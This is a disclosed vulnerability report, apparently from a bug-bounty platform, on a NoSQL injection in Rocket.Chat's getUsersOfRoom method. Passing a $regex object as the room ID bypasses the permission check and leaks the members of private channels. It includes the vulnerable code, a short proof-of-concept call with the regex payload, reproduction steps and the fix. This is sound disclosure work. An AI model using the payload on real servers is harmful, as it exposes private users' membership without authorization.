

## 1 getUsersOfRoom discloses users in private channels

Share:



SUMMARY BY ROCKET.CHAT



### Summary

Improper input data validation in the `getUsersOfRoom` Meteor server method allows authenticated users to enumerate existing rooms and subscribed users.

### Description

Input data in the `getUsersOfRoom` Meteor server method is not type validated, so that MongoDB query operator objects are accepted by the server, so that instead of a matching rid String a `$regex` query can be executed, bypassing the room access permission check for every but the first matching room.

When the user-provided `rid` method argument is a MongoDB query operator object, the first match will be used to check the requesting users access permissions against ([server/methods/getUsersOfRoom.js#L18-L21](#)):

Code 311 Bytes

```
1 const room = Rooms.findOneById(rid, { fields: { broadcast: 1 } });
2 if (!room) {
3   throw new Meteor.Error('error-not-allowed', 'Not allowed', { method: 'getUsersOfRoom' });
4 }
5
6 if (!canAccessRoom(room, { _id: userId })) {
7   throw new Meteor.Error('not-authorized', 'Not Authorized', { method: 'getUsersOfRoom' });
8 }
```

The original `rid` is later passed to the `findUsersOfRoom` method ([server/methods/getUsersOfRoom.js#L33-L38](#)):

```

3  return {
4      total,
5      records: users,
6  };

```

The `rid` parameter is then passed unchanged in to `Users.findByActiveUsersExcept`

Code 124 Bytes

```

1  return Users.findByActiveUsersExcept(filter, undefined, options, undefined, [{
2      __rooms: rid,
3      ...status && { status },
4  }]);

```

In the `Users.findByActiveUsersExcept` function the `extraQuery` object (containing the user-provided `rid` argument ) queries directly from MongoDB ([app/models/server/models/Users.js#L828-L840](#)):

Code 375 Bytes

```

1  findByActiveUsersExcept(searchTerm, exceptions, options, forcedSearchFields, extra
2  // ...
3      const query = {
4          $and: [
5              {
6                  active: true,
7                  username: { $exists: true, $nin: exceptions },
8                  $or: orStmt,
9              },
10             ...extraQuery,
11         ],
12     };
13
14     // do not use cache
15     return this._db.find(query, options);
16 }

```

accepted without further permission check.

Code 239 Bytes

```
1 const ACCESSIBLE_CHANEL("<ROOM_ID>");
2 const TARGET_CHANNEL("<ROOM_ID_REGEX>"); // .* to get all users in any room
3 Meteor.call(
4   "getUsersOfRoom",
5   { $regex: `(${OWN_CHANNEL})|${TARGET_CHANNEL}"`, // rid
6   true, // showAll
7   console.log
8 );
```

### Releases Affected:

- [develop](#)
- 4.1.1 [672fe95d7e8afbd7d306cf176f54c65dd9be0eea](#)
- 4.1.2

### Steps To Reproduce (from initial installation to vulnerability):

1. Login to Rocket.Chat
2. Create empty room and find Room ID
3. Call `getUsersOfRoom` Meteor method with `{ $regex: "(<MY_ROOM_ID>|<TARGET_ROOM_ID>" }`
4. Receive list of all users from both channels

### Suggested mitigation

- Validate `rid` argument to be a String

### Impact

Users with access to at least one channel can leak the members of another channel they should not have access to.

### Fix

Fixed in 4.7.5, 4.8.2 and 5.0.0






#### TIMELINE



gronke submitted a report to [Rocket.Chat](#).

Nov 25th (about 1 year ago)



-  [gromke](#) posted a comment. Dec 31st (12 months ago)
-  [mrrorschach](#) Rocket.Chat staff changed the status to Triaged. Jan 7th (11 months ago)
-  [mrrorschach](#) Rocket.Chat staff closed the report and changed the status to Resolved. Jul 25th (4 months ago)
-  [mrrorschach](#) Rocket.Chat staff requested to disclose this report. Sep 22nd (2 months ago)
-  [mrrorschach](#) Rocket.Chat staff disclosed this report. Sep 22nd (2 months ago)